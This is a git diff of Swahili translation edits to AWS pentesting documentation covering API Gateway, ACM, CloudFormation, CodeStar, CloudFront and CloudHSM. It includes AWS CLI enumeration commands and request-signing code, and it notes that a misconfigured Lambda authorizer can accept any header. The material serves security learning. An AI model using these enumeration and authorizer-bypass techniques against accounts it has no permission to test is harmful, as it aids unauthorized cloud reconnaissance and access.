../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index d33fdf3ac..e514bf9bd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -9,16 +9,16 @@ Huduma zinazoshughulika na huduma za kontena zina sifa zifuatazo: - Huduma yenyewe inafanya kazi kwenye **miundombinu tofauti**, kama EC2. -- **AWS** ina jukumu la **kusimamia mfumo wa uendeshaji na jukwaa**. -- Huduma inayosimamiwa inatolewa na AWS, ambayo kwa kawaida ni huduma yenyewe kwa **ombwe halisi ambayo yanaonekana kama kontena**. +- **AWS** inawajibika kwa **kusimamia mfumo wa uendeshaji na jukwaa**. +- Huduma inayosimamiwa inatolewa na AWS, ambayo kwa kawaida ni huduma yenyewe kwa **ombwe halisi ambazo zinaonekana kama kontena**. - Kama mtumiaji wa huduma hizi za kontena, una majukumu kadhaa ya usimamizi na usalama, ikiwa ni pamoja na **kusimamia usalama wa ufikiaji wa mtandao, kama vile sheria za orodha ya udhibiti wa ufikiaji wa mtandao na moto wowote**. -- Pia, usimamizi wa utambulisho na ufikiaji wa kiwango cha jukwaa ambapo upo. -- **Mifano** ya huduma za kontena za AWS ni Huduma ya Hifadhi ya Taarifa, Elastic Mapreduce, na Elastic Beanstalk. +- Pia, usimamizi wa utambulisho na ufikiaji wa kiwango cha jukwaa ambapo inapatikana. +- **Mifano** ya huduma za kontena za AWS ni Relational Database Service, Elastic Mapreduce, na Elastic Beanstalk. ### Huduma za Abstrakti -- Huduma hizi zimeondolewa, zimejengwa, kutoka kwa jukwaa au tabaka la usimamizi ambalo programu za wingu zimejengwa juu yake. -- Huduma zinapatikana kupitia maeneo ya mwisho kwa kutumia interfaces za programu za AWS, APIs. +- Huduma hizi zimeondolewa, zimejengwa, kutoka kwa jukwaa au safu ya usimamizi ambayo programu za wingu zimejengwa juu yake. +- Huduma zinapatikana kupitia mwisho kwa kutumia API za programu za AWS. - **Miundombinu ya msingi, mfumo wa uendeshaji, na jukwaa inasimamiwa na AWS**. - Huduma za abstractions zinatoa jukwaa la multi-tenancy ambapo miundombinu ya msingi inashirikiwa. - **Data inatengwa kupitia mitambo ya usalama**. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index ca8acbd29..e2a5e0ecc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -8,12 +8,12 @@ AWS API Gateway ni huduma kamili inayotolewa na Amazon Web Services (AWS) iliyoundwa kwa ajili ya waendelezaji **kuunda, kuchapisha, na kusimamia APIs kwa kiwango kikubwa**. Inafanya kazi kama lango la kuingia kwenye programu, ikiruhusu waendelezaji kuanzisha mfumo wa sheria na taratibu. Mfumo huu unadhibiti ufikiaji wa watumiaji wa nje kwa data au kazi fulani ndani ya programu. -API Gateway inakuwezesha kufafanua **jinsi maombi kwa APIs zako yanapaswa kushughulikiwa**, na inaweza kuunda mwisho wa API maalum na mbinu maalum (mfano, GET, POST, PUT, DELETE) na rasilimali. Pia inaweza kuunda SDKs za mteja (Software Development Kits) ili kurahisisha waendelezaji kuita APIs zako kutoka kwenye programu zao. +API Gateway inakuwezesha kufafanua **jinsi maombi kwa APIs zako yanapaswa kushughulikiwa**, na inaweza kuunda mwisho wa API maalum na mbinu maalum (mfano, GET, POST, PUT, DELETE) na rasilimali. Pia inaweza kuunda SDKs za mteja (Software Development Kits) ili kurahisisha waendelezaji kuita APIs zako kutoka kwa programu zao. ### API Gateways Types - **HTTP API**: Jenga REST APIs zenye latency ya chini na gharama nafuu zikiwa na vipengele vilivyojumuishwa kama OIDC na OAuth2, na msaada wa asili wa CORS. Inafanya kazi na yafuatayo: Lambda, HTTP backends. -- **WebSocket API**: Jenga WebSocket API kwa kutumia muunganisho endelevu kwa matumizi ya wakati halisi kama vile programu za mazungumzo au dashibodi. Inafanya kazi na yafuatayo: Lambda, HTTP, AWS Services. +- **WebSocket API**: Jenga API ya WebSocket kwa kutumia muunganisho endelevu kwa matumizi ya wakati halisi kama vile programu za mazungumzo au dashibodi. Inafanya kazi na yafuatayo: Lambda, HTTP, AWS Services. - **REST API**: Tengeneza REST API ambapo unapata udhibiti kamili juu ya ombi na jibu pamoja na uwezo wa usimamizi wa API. Inafanya kazi na yafuatayo: Lambda, HTTP, AWS Services. - **REST API Private**: Unda REST API ambayo inapatikana tu kutoka ndani ya VPC. @@ -22,18 +22,18 @@ API Gateway inakuwezesha kufafanua **jinsi maombi kwa APIs zako yanapaswa kushug 1. **Resources**: Katika API Gateway, rasilimali ni vipengele ambavyo **vinaunda muundo wa API yako**. Zinawakilisha **njia au mwisho tofauti** wa API yako na zinahusiana na vitendo mbalimbali ambavyo API yako inasaidia. Rasilimali ni kila mbinu (mfano, GET, POST, PUT, DELETE) **ndani ya kila njia** (/, au /users, au /user/{id}). 2. **Stages**: Hatua katika API Gateway zinawakilisha **matoleo au mazingira tofauti** ya API yako, kama vile maendeleo, hatua, au uzalishaji. Unaweza kutumia hatua kusimamia na kupeleka **matoleo mengi ya API yako kwa wakati mmoja**, ikiruhusu kujaribu vipengele vipya au marekebisho ya makosa bila kuathiri mazingira ya uzalishaji. Hatua pia **zinasaidia mabadiliko ya hatua**, ambayo ni jozi za funguo-thamani ambazo zinaweza kutumika kubadilisha tabia ya API yako kulingana na hatua ya sasa. Kwa mfano, unaweza kutumia mabadiliko ya hatua kuelekeza maombi ya API kwa kazi tofauti za Lambda au huduma nyingine za nyuma kulingana na hatua. - Hatua inaonyeshwa mwanzoni mwa URL ya mwisho wa API Gateway. -3. **Authorizers**: Waandishi katika API Gateway wanawajibika kwa **kudhibiti ufikiaji wa API yako** kwa kuthibitisha utambulisho wa mpiga simu kabla ya kuruhusu ombi kuendelea. Unaweza kutumia **AWS Lambda functions** kama waandishi maalum, ambayo inakuwezesha kutekeleza mantiki yako ya uthibitishaji na idhini. Wakati ombi linapokuja, API Gateway inapeleka tokeni ya uthibitishaji wa ombi kwa waandishi wa Lambda, ambaye anashughulikia tokeni hiyo na kurudisha sera ya IAM inayotathmini ni vitendo gani mpiga simu anaruhusiwa kufanya. API Gateway pia inasaidia **waandishi wa ndani**, kama vile **AWS Identity and Access Management (IAM)** na **Amazon Cognito**. -4. **Resource Policy**: Sera ya rasilimali katika API Gateway ni hati ya JSON ambayo **inafafanua ruhusa za kufikia API yako**. Ni sawa na sera ya IAM lakini imeandaliwa mahsusi kwa API Gateway. Unaweza kutumia sera ya rasilimali kudhibiti nani anaweza kufikia API yako, ni mbinu zipi wanaweza kuita, na kutoka IP gani au VPCs wanaweza kuungana. **Sera za rasilimali zinaweza kutumika kwa pamoja na waandishi** ili kutoa udhibiti wa ufikiaji wa kina kwa API yako. -- Ili kufanya kazi, API inahitaji **kupelekwa tena baada ya** sera ya rasilimali kubadilishwa. +3. **Authorizers**: Waandishi katika API Gateway wana jukumu la **kudhibiti ufikiaji wa API yako** kwa kuthibitisha utambulisho wa mpiga simu kabla ya kuruhusu ombi kuendelea. Unaweza kutumia **AWS Lambda functions** kama waandishi maalum, ambayo inaruhusu kutekeleza mantiki yako mwenyewe ya uthibitishaji na idhini. Wakati ombi linapokuja, API Gateway inapita tokeni ya uthibitishaji wa ombi kwa waandishi wa Lambda, ambaye anashughulikia tokeni hiyo na kurudisha sera ya IAM inayotathmini ni vitendo gani mpiga simu anaruhusiwa kufanya. API Gateway pia inasaidia **waandishi wa ndani**, kama vile **AWS Identity and Access Management (IAM)** na **Amazon Cognito**. +4. **Resource Policy**: Sera ya rasilimali katika API Gateway ni hati ya JSON ambayo **inafafanua ruhusa za kufikia API yako**. Ni sawa na sera ya IAM lakini imeandaliwa mahsusi kwa API Gateway. Unaweza kutumia sera ya rasilimali kudhibiti nani anaweza kufikia API yako, ni mbinu zipi wanaweza kuita, na kutoka IP gani au VPC wanaweza kuungana. **Sera za rasilimali zinaweza kutumika kwa pamoja na waandishi** ili kutoa udhibiti wa ufikiaji wa kina kwa API yako. +- Ili kufanya kazi, API inahitaji **kupelekwa tena baada** ya sera ya rasilimali kubadilishwa. ### Logging -Kwa kawaida, **CloudWatch Logs** ziko **zimemwondolewa**, **Access Logging** iko **zimemwondolewa**, na **X-Ray tracing** pia iko **zimemwondolewa**. +Kwa kawaida, **CloudWatch Logs** zime **zimemwondolewa**, **Access Logging** ime **zimemwondolewa**, na **X-Ray tracing** pia ime **zimemwondolewa**. ### Enumeration > [!TIP] -> Kumbuka kwamba katika APIs zote za AWS kuhesabu rasilimali (**`apigateway`** na **`apigatewayv2`**) ruhusa pekee unayohitaji na ruhusa pekee ya kusoma inayoweza kutolewa ni **`apigateway:GET`**, kwa hiyo unaweza **kuhesabu kila kitu.** +> Kumbuka kwamba katika APIs zote za AWS za kuorodhesha rasilimali (**`apigateway`** na **`apigatewayv2`**) ruhusa pekee unayohitaji na ruhusa pekee ya kusoma inayoweza kutolewa ni **`apigateway:GET`**, kwa hiyo unaweza **kuorodhesha kila kitu.** {{#tabs }} {{#tab name="apigateway" }} @@ -124,12 +124,12 @@ https://.execute-api..amazonaws.com// {{#endtab }} {{#endtabs }} -## Mamlaka tofauti za kufikia mwisho wa API Gateway +## Mamlaka tofauti za kufikia viwango vya API Gateway ### Sera ya Rasilimali -Inawezekana kutumia sera za rasilimali kufafanua ni nani anaweza kuita mwisho wa API.\ -Katika mfano ufuatao unaweza kuona kwamba **IP iliyoonyeshwa haiwezi kuita** mwisho wa `/resource_policy` kupitia GET. +Inawezekana kutumia sera za rasilimali kufafanua ni nani anaweza kuita viwango vya API.\ +Katika mfano ufuatao unaweza kuona kwamba **IP iliyoonyeshwa haiwezi kuita** kiwango `/resource_policy` kupitia GET.
@@ -139,7 +139,7 @@ Inawezekana kuweka kwamba mbinu ndani ya njia (rasilimali) inahitaji uthibitisho
-Wakati hii imewekwa utapokea kosa `{"message":"Missing Authentication Token"}` unapojaribu kufikia mwisho bila mamlaka yoyote. +Wakati hii imewekwa utapokea kosa `{"message":"Missing Authentication Token"}` unapojaribu kufikia kiwango bila uthibitisho wowote. Njia rahisi ya kuzalisha token inayotarajiwa na programu ni kutumia **curl**. ```bash @@ -149,7 +149,7 @@ Njia nyingine ni kutumia aina ya **`Authorization`** **`AWS Signature`** ndani y
-Weka accessKey na SecretKey ya akaunti unayotaka kutumia na unaweza kuthibitisha dhidi ya API endpoint. +Weka accessKey na SecretKey za akaunti unayotaka kutumia na unaweza kuthibitisha dhidi ya API endpoint. Mbinu zote mbili zitatengeneza **Authorization** **header** kama: ``` @@ -157,7 +157,7 @@ AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/ ``` Kumbuka kwamba katika hali nyingine **Authorizer** inaweza kuwa **imeandikwa vibaya** na kutuma **chochote** ndani ya **Authorization header** kutaruhusu **kuona maudhui yaliyofichwa**. -### Request Signing Using Python +### Kuandika Ombi kwa Kutumia Python ```python pip install requests @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### Mwandikaji wa Lambda wa Kijadi -Inawezekana kutumia lambda ambayo kwa msingi wa token iliyotolewa it **arejeshe sera ya IAM** ikionyesha kama mtumiaji **ameidhinishwa kuita kiunganishi cha API**.\ -Unaweza kuweka kila njia ya rasilimali ambayo itakuwa ikitumia mthibitishaji. +Inawezekana kutumia lambda ambayo kwa msingi wa token iliyotolewa it **irejeshe sera ya IAM** ikionyesha ikiwa mtumiaji **ameidhinishwa kuita kiunganishi cha API**.\ +Unaweza kuweka kila njia ya rasilimali ambayo itakuwa ikitumia mwandishi.
-Lambda Authorizer Code Example +Mfano wa Kode ya Mwandikaji wa Lambda ```python import json @@ -242,7 +242,7 @@ Call it with something like: > [!WARNING] -> Kutegemea kwenye msimbo wa Lambda, hii ruhusa inaweza kuwa na udhaifu +> Kutegemea na msimbo wa Lambda, hii ruhusa inaweza kuwa hatarini Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 8ce1ad3f4..d2a92d090 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -4,11 +4,11 @@ ## Basic Information -**AWS Certificate Manager (ACM)** inatolewa kama huduma inayolenga kuboresha **ugawaji, usimamizi, na utekelezaji wa vyeti vya SSL/TLS** kwa huduma za AWS na rasilimali za ndani. Uhitaji wa michakato ya mikono, kama vile ununuzi, upakuaji, na upya wa vyeti, umeondolewa na ACM. Hii inawawezesha watumiaji kuomba na kutekeleza vyeti kwa ufanisi kwenye rasilimali mbalimbali za AWS ikiwa ni pamoja na **Elastic Load Balancers, usambazaji wa Amazon CloudFront, na APIs kwenye API Gateway**. +**AWS Certificate Manager (ACM)** inatolewa kama huduma inayolenga kuboresha **ugawaji, usimamizi, na utekelezaji wa vyeti vya SSL/TLS** kwa huduma za AWS na rasilimali za ndani. Hitaji la michakato ya mikono, kama vile ununuzi, upakuaji, na upya wa vyeti, **linatolewa** na ACM. Hii inawawezesha watumiaji kuomba na kutekeleza vyeti kwa ufanisi kwenye rasilimali mbalimbali za AWS ikiwa ni pamoja na **Elastic Load Balancers, usambazaji wa Amazon CloudFront, na APIs kwenye API Gateway**. -Sifa muhimu ya ACM ni **upya wa kiotomatiki wa vyeti**, ikipunguza kwa kiasi kikubwa mzigo wa usimamizi. Zaidi ya hayo, ACM inasaidia uundaji na usimamizi wa kati wa **vyeti vya kibinafsi kwa matumizi ya ndani**. Ingawa vyeti vya SSL/TLS kwa huduma za AWS zilizounganishwa kama Elastic Load Balancing, Amazon CloudFront, na Amazon API Gateway vinatolewa bila gharama za ziada kupitia ACM, watumiaji wanawajibika kwa gharama zinazohusiana na rasilimali za AWS zinazotumiwa na programu zao na ada ya kila mwezi kwa kila **Private Certificate Authority (CA)** na vyeti vya kibinafsi vinavyotumiwa nje ya huduma za ACM zilizounganishwa. +Sifa muhimu ya ACM ni **upya wa kiotomatiki wa vyeti**, ikipunguza kwa kiasi kikubwa mzigo wa usimamizi. Zaidi ya hayo, ACM inasaidia uundaji na usimamizi wa kati wa **vyeti vya kibinafsi kwa matumizi ya ndani**. Ingawa vyeti vya SSL/TLS kwa huduma za AWS zilizounganishwa kama Elastic Load Balancing, Amazon CloudFront, na Amazon API Gateway vinatolewa bila gharama za ziada kupitia ACM, watumiaji wanawajibika kwa gharama zinazohusiana na rasilimali za AWS zinazotumiwa na programu zao na ada ya kila mwezi kwa kila **mamlaka ya vyeti ya kibinafsi (CA)** na vyeti vya kibinafsi vinavyotumiwa nje ya huduma zilizounganishwa za ACM. -**AWS Private Certificate Authority** inatolewa kama huduma ya **CA ya kibinafsi inayosimamiwa**, ikiongeza uwezo wa ACM kwa kupanua usimamizi wa vyeti ili kujumuisha vyeti vya kibinafsi. Vyeti hivi vya kibinafsi ni muhimu katika kuthibitisha rasilimali ndani ya shirika. +**AWS Private Certificate Authority** inatolewa kama **huduma ya CA ya kibinafsi inayosimamiwa**, ikiongeza uwezo wa ACM kwa kupanua usimamizi wa vyeti ili kujumuisha vyeti vya kibinafsi. Vyeti hivi vya kibinafsi ni muhimu katika kuthibitisha rasilimali ndani ya shirika. ## Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 0618ada09..3fd50e7d8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation ni huduma iliyoundwa ili **kurahisisha usimamizi wa rasilimali za AWS**. Inawawezesha watumiaji kuzingatia zaidi kwenye programu zao zinazofanya kazi katika AWS kwa **kupunguza muda unaotumika katika usimamizi wa rasilimali**. Kipengele kikuu cha huduma hii ni **kigezo**—mfano wa kuelezea rasilimali za AWS zinazotakiwa. Mara kigezo hiki kinapopewa, CloudFormation inawajibika kwa **ugawaji na usanidi** wa rasilimali zilizotajwa. Utaftaji huu unarahisisha usimamizi wa miundombinu ya AWS kwa ufanisi zaidi na bila makosa. +AWS CloudFormation ni huduma iliyoundwa ili **kurahisisha usimamizi wa rasilimali za AWS**. Inawawezesha watumiaji kuzingatia zaidi kwenye programu zao zinazofanya kazi katika AWS kwa **kupunguza muda unaotumika katika usimamizi wa rasilimali**. Kipengele kikuu cha huduma hii ni **kigezo**—mfano wa kuelezea wa rasilimali za AWS zinazotakiwa. Mara kigezo hiki kinapopewa, CloudFormation inawajibika kwa **ugawaji na usanidi** wa rasilimali zilizotajwa. Utaftaji huu unarahisisha usimamizi wa miundombinu ya AWS kwa ufanisi zaidi na bila makosa. ### Enumeration ```bash @@ -31,7 +31,7 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za cloudformation ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -39,11 +39,11 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **siri** or sensitive information in the **template, parameters & output** of each CloudFormation +Angalia kwa **siri** au taarifa nyeti katika **kigezo, vigezo & matokeo** ya kila CloudFormation ## Codestar -AWS CodeStar ni huduma ya kuunda, kusimamia, na kufanya kazi na miradi ya maendeleo ya programu kwenye AWS. Unaweza kuendeleza, kujenga, na kupeleka programu haraka kwenye AWS kwa mradi wa AWS CodeStar. Mradi wa AWS CodeStar unaunda na **kuunganisha huduma za AWS** kwa ajili ya zana zako za maendeleo ya mradi. Kulingana na chaguo lako la kiolezo cha mradi wa AWS CodeStar, zana hizo zinaweza kujumuisha udhibiti wa chanzo, ujenzi, upelekaji, seva za virtual au rasilimali zisizo na seva, na zaidi. AWS CodeStar pia **inasimamia ruhusa zinazohitajika kwa watumiaji wa mradi** (inayoitwa wanachama wa timu). +AWS CodeStar ni huduma ya kuunda, kusimamia, na kufanya kazi na miradi ya maendeleo ya programu kwenye AWS. Unaweza kuendeleza, kujenga, na kupeleka programu kwa haraka kwenye AWS na mradi wa AWS CodeStar. Mradi wa AWS CodeStar unaunda na **kuunganisha huduma za AWS** kwa ajili ya zana zako za maendeleo ya mradi. Kulingana na chaguo lako la kigezo cha mradi wa AWS CodeStar, zana hiyo inaweza kujumuisha udhibiti wa chanzo, ujenzi, upelelezi, seva za virtual au rasilimali zisizo na seva, na zaidi. AWS CodeStar pia **inasimamia ruhusa zinazohitajika kwa watumiaji wa mradi** (inayoitwa wanachama wa timu). ### Enumeration ```bash @@ -64,7 +64,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za codestar ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## Marejeleo +## References - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 3d3939fb6..468e4668f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,17 +4,17 @@ ## CloudFront -CloudFront ni **mtandao wa usambazaji wa maudhui wa AWS ambao unachochea usambazaji** wa maudhui yako ya statiki na ya dinamik kupitia mtandao wake wa kimataifa wa maeneo ya ukingo. Unapofanya ombi la maudhui unayohifadhi kupitia Amazon CloudFront, ombi hilo linaelekezwa kwenye eneo la ukingo lililo karibu zaidi ambalo linatoa latensi ya chini ili kutoa utendaji bora. Wakati **rekodi za ufikiaji wa CloudFront** zimewezeshwa unaweza kurekodi ombi kutoka kwa kila mtumiaji anayehitaji ufikiaji wa tovuti yako na usambazaji. Kama ilivyo kwa rekodi za ufikiaji za S3, rekodi hizi pia **zinahifadhiwa kwenye Amazon S3 kwa ajili ya uhifadhi wa kudumu na endelevu**. Hakuna ada kwa ajili ya kuwezesha uandishi wa rekodi wenyewe, hata hivyo, kwa kuwa rekodi zinahifadhiwa kwenye S3 utatozwa kwa uhifadhi unaotumiwa na S3. +CloudFront ni **mtandao wa usambazaji wa maudhui wa AWS unaoimarisha usambazaji** wa maudhui yako ya statiki na ya dinamik kupitia mtandao wake wa kimataifa wa maeneo ya ukingo. Unapokuwa unatumia maombi ya maudhui unayohifadhi kupitia Amazon CloudFront, ombi linaelekezwa kwenye eneo la ukingo lililo karibu zaidi ambalo linatoa latensi ya chini ili kutoa utendaji bora. Wakati **rekodi za ufikiaji wa CloudFront** zimewezeshwa unaweza kurekodi ombi kutoka kwa kila mtumiaji anayehitaji ufikiaji wa tovuti yako na usambazaji. Kama ilivyo kwa rekodi za ufikiaji za S3, rekodi hizi pia **zinahifadhiwa kwenye Amazon S3 kwa ajili ya uhifadhi wa kudumu na endelevu**. Hakuna malipo kwa kuwezesha uandishi wa rekodi wenyewe, hata hivyo, kwa kuwa rekodi zinahifadhiwa kwenye S3 utalipwa kwa uhifadhi unaotumiwa na S3. -Faili za rekodi zinachukua data kwa kipindi fulani na kulingana na idadi ya maombi yanayopokelewa na Amazon CloudFront kwa usambazaji huo kutategemea idadi ya faili za rekodi zinazozalishwa. Ni muhimu kujua kwamba faili hizi za rekodi hazitengenezwi au kuandikwa kwenye S3. S3 ni mahali tu ambapo zinawasilishwa mara faili ya rekodi inapojaa. **Amazon CloudFront inashikilia rekodi hizi hadi zitakapokuwa tayari kuwasilishwa kwa S3**. Tena, kulingana na ukubwa wa faili hizi za rekodi, usambazaji huu unaweza kuchukua **kati ya saa moja na 24**. +Faili za rekodi zinachukua data kwa kipindi fulani na kulingana na idadi ya maombi yanayopokelewa na Amazon CloudFront kwa usambazaji huo kutategemea idadi ya faili za rekodi zinazozalishwa. Ni muhimu kujua kwamba faili hizi za rekodi hazitengenezwi au kuandikwa kwenye S3. S3 ni mahali tu ambapo zinapelekwa mara faili ya rekodi inapojaa. **Amazon CloudFront inashikilia rekodi hizi hadi zitakapokuwa tayari kupelekwa kwenye S3**. Tena, kulingana na ukubwa wa faili hizi za rekodi, usafirishaji huu unaweza kuchukua **kati ya saa moja na 24**. **Kwa kawaida uandishi wa kuki umezimwa** lakini unaweza kuuwezesha. ### Functions -Unaweza kuunda kazi katika CloudFront. Kazi hizi zitakuwa na **kiunganishi chake katika cloudfront** kilichofafanuliwa na zitaendesha **NodeJS code** iliyotangazwa. Kode hii itakimbia ndani ya **sandbox** katika mashine inayofanya kazi chini ya mashine inayosimamiwa na AWS (utahitaji kupita sandbox ili kufanikiwa kutoroka kwenye OS ya chini). +Unaweza kuunda kazi katika CloudFront. Kazi hizi zitakuwa na **kiunganishi chake katika cloudfront** kilichofafanuliwa na zitaendesha **NodeJS code** iliyotangazwa. Kode hii itakimbia ndani ya **sandbox** katika mashine inayotumia mashine inayosimamiwa na AWS (utahitaji kupita sandbox ili kufanikiwa kutoroka kwenye OS ya chini). -Kwa kuwa kazi hazikimbii katika akaunti ya AWS ya watumiaji, hakuna jukumu la IAM lililounganishwa hivyo hakuna privesc ya moja kwa moja inayowezekana kutumia kipengele hiki. +Kwa kuwa kazi hazikimbii kwenye akaunti ya AWS ya watumiaji, hakuna jukumu la IAM lililounganishwa hivyo hakuna privesc ya moja kwa moja inayowezekana kwa kutumia kipengele hiki. ### Enumeration ```bash @@ -27,7 +27,7 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` -## Upatikanaji Usioidhinishwa +## Upatikanaji Usio Na Uthibitisho {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index cadb5e189..2dc621a66 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,39 +4,39 @@ ## HSM - Hardware Security Module -Cloud HSM ni kifaa cha **hardware** kilichothibitishwa kwa kiwango cha FIPS 140 level two kwa ajili ya uhifadhi salama wa funguo za cryptographic (kumbuka kwamba CloudHSM ni kifaa cha hardware, si huduma iliyovirtualized). Ni kifaa cha SafeNetLuna 7000 chenye toleo la 5.3.13 lililopakiwa awali. Kuna toleo mbili za firmware na unachagua ipi kulingana na mahitaji yako halisi. Moja ni kwa ajili ya kufuata FIPS 140-2 na kulikuwa na toleo jipya ambalo linaweza kutumika. +Cloud HSM ni kifaa cha **hardware** kilichothibitishwa kwa kiwango cha FIPS 140 level two kwa ajili ya uhifadhi salama wa funguo za cryptographic (kumbuka kwamba CloudHSM ni kifaa cha hardware, si huduma iliyovirtualized). Ni kifaa cha SafeNetLuna 7000 chenye 5.3.13 kilichopakiwa awali. Kuna toleo mbili za firmware na unachagua ipi kulingana na mahitaji yako halisi. Moja ni kwa ajili ya kufuata FIPS 140-2 na kulikuwa na toleo jipya ambalo linaweza kutumika. -Sifa isiyo ya kawaida ya CloudHSM ni kwamba ni kifaa halisi, na hivyo **hakishirikiwa na wateja wengine**, au kama inavyotajwa mara nyingi, multi-tenant. Ni kifaa cha mpangilio wa pekee kilichotolewa kwa kazi zako pekee. +Sifa isiyo ya kawaida ya CloudHSM ni kwamba ni kifaa halisi, na hivyo **hakishirikiwa na wateja wengine**, au kama inavyosemwa kawaida, multi-tenant. Ni kifaa cha mpangilio mmoja kilichotolewa kwa ajili ya kazi zako pekee. Kwa kawaida, kifaa kinapatikana ndani ya dakika 15 ikiwa kuna uwezo, lakini katika maeneo mengine huenda kukawa hakuna. -Kwa kuwa hiki ni kifaa halisi kilichotolewa kwako, **funguo zinahifadhiwa kwenye kifaa**. Funguo zinahitaji **kuigwa kwenye kifaa kingine**, kuhifadhiwa kwenye hifadhi ya nje, au kusafirishwa kwa kifaa cha akiba. **Kifaa hiki hakina msaada** kutoka S3 au huduma nyingine yoyote katika AWS kama KMS. +Kwa kuwa hiki ni kifaa halisi kilichotolewa kwako, **funguo zinahifadhiwa kwenye kifaa**. Funguo zinahitaji **kuigwa kwenye kifaa kingine**, kuhifadhiwa kwenye hifadhi ya nje, au kusafirishwa kwa kifaa cha kusimama. **Kifaa hiki hakina msaada** kutoka S3 au huduma nyingine yoyote katika AWS kama KMS. -Katika **CloudHSM**, unapaswa **kupanua huduma mwenyewe**. Unapaswa kuandaa vifaa vya CloudHSM vya kutosha kushughulikia mahitaji yako ya usimbuaji kulingana na algorithimu za usimbuaji ulizochagua kutekeleza kwa suluhisho lako.\ -Upanuzi wa Huduma ya Usimamizi wa Funguo unafanywa na AWS na unapanuka kiotomatiki kwa mahitaji, hivyo kadri matumizi yako yanavyokua, ndivyo idadi ya vifaa vya CloudHSM vinavyohitajika inaweza kuongezeka. Kumbuka hili unavyopanua suluhisho lako na ikiwa suluhisho lako lina auto-scaling, hakikisha kiwango chako cha juu kimezingatiwa na vifaa vya kutosha vya CloudHSM kuhudumia suluhisho hilo. +Katika **CloudHSM**, unapaswa **kuongeza huduma mwenyewe**. Unapaswa kuandaa vifaa vya CloudHSM vya kutosha kushughulikia mahitaji yako ya usimbuaji kulingana na algorithimu za usimbuaji ulizochagua kutekeleza kwa suluhisho lako.\ +Kipimo cha Huduma ya Usimamizi wa Funguo kinatolewa na AWS na kinapanuka kiotomatiki kadri inavyohitajika, hivyo kadri matumizi yako yanavyokua, ndivyo idadi ya vifaa vya CloudHSM vinavyohitajika inaweza kuongezeka. Kumbuka hili unavyopanua suluhisho lako na ikiwa suluhisho lako lina auto-scaling, hakikisha kiwango chako cha juu kimezingatiwa na vifaa vya kutosha vya CloudHSM ili kuhudumia suluhisho hilo. -Kama vile upanuzi, **utendaji ni juu yako na CloudHSM**. Utendaji unategemea ni algorithimu gani ya usimbuaji inatumika na ni mara ngapi unahitaji kufikia au kupata funguo za kusimbua data. Utendaji wa huduma ya usimamizi wa funguo unashughulikiwa na Amazon na unapanuka kiotomatiki kadri mahitaji yanavyohitajika. Utendaji wa CloudHSM unapatikana kwa kuongeza vifaa zaidi na ikiwa unahitaji utendaji zaidi unapaswa kuongeza vifaa au kubadilisha njia ya usimbuaji kwa algorithimu inayokuwa haraka. +Kama vile kupanua, **utendaji ni juu yako na CloudHSM**. Utendaji unategemea algorithimu ya usimbuaji inayotumika na jinsi mara ngapi unahitaji kufikia au kupata funguo za kusimbua data. Utendaji wa huduma ya usimamizi wa funguo unashughulikiwa na Amazon na unapanuka kiotomatiki kadri mahitaji yanavyohitajika. Utendaji wa CloudHSM unapatikana kwa kuongeza vifaa na ikiwa unahitaji utendaji zaidi unapaswa kuongeza vifaa au kubadilisha njia ya usimbuaji kwa algorithimu inayokuwa haraka zaidi. -Ikiwa suluhisho lako ni **multi-region**, unapaswa kuongeza vifaa kadhaa **CloudHSM katika 